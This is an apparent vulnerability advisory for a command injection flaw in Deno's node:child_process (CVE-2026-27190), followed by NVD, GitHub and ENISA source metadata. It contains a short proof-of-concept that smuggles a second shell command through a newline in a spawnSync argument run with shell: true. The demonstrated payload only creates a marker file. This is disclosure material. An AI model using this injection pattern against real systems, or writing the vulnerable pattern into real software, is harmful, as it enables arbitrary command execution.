A command injection vulnerability exists in Deno's node:child_process implementation.
import { spawnSync } from "node:child_process";
import * as fs from "node:fs";
// Cleanup
try { fs.unlinkSync('/tmp/rce_proof'); } catch {}
// Create legitimate script
fs.writeFileSync('/tmp/legitimate.ts', 'console.log("normal");');
// Malicious input with newline injection
const maliciousInput = `/tmp/legitimate.ts\ntouch /tmp/rce_proof`;
// Vulnerable pattern
spawnSync(Deno.execPath(), ['run', '--allow-all', maliciousInput], {
shell: true,
encoding: 'utf-8'
});
// Verify
console.log('Exploit worked:', fs.existsSync('/tmp/rce_proof'));
Run: deno run --allow-all poc.mjs
The file /tmp/rce_proof is created, confirming arbitrary command execution.
All users need to update to the patched version (Deno v2.6.8).
{
"sources": [
{
"url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-27190",
"html_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27190",
"modified": "2026-03-02T13:35:52.260Z",
"id": "CVE-2026-27190",
"imported": "2026-04-14T12:58:55.203Z",
"published": "2026-02-20T21:19:28.090Z"
},
{
"url": "https://api.github.com/advisories/GHSA-hmh4-3xvx-q5hr",
"html_url": "https://github.com/advisories/GHSA-hmh4-3xvx-q5hr",
"modified": "2026-02-20T22:20:05Z",
"id": "GHSA-hmh4-3xvx-q5hr",
"imported": "2026-04-14T12:58:59.239Z",
"published": "2026-02-19T20:31:41Z"
},
{
"url": "https://euvdservices.enisa.europa.eu/api/enisaid?id=EUVD-2026-7794",
"html_url": "https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-7794",
"modified": "2026-02-24T18:30:43Z",
"id": "EUVD-2026-7794",
"imported": "2026-04-14T12:58:57.054Z",
"published": "2026-02-20T20:52:11Z"
}
],
"license": "CC-BY-4.0"
}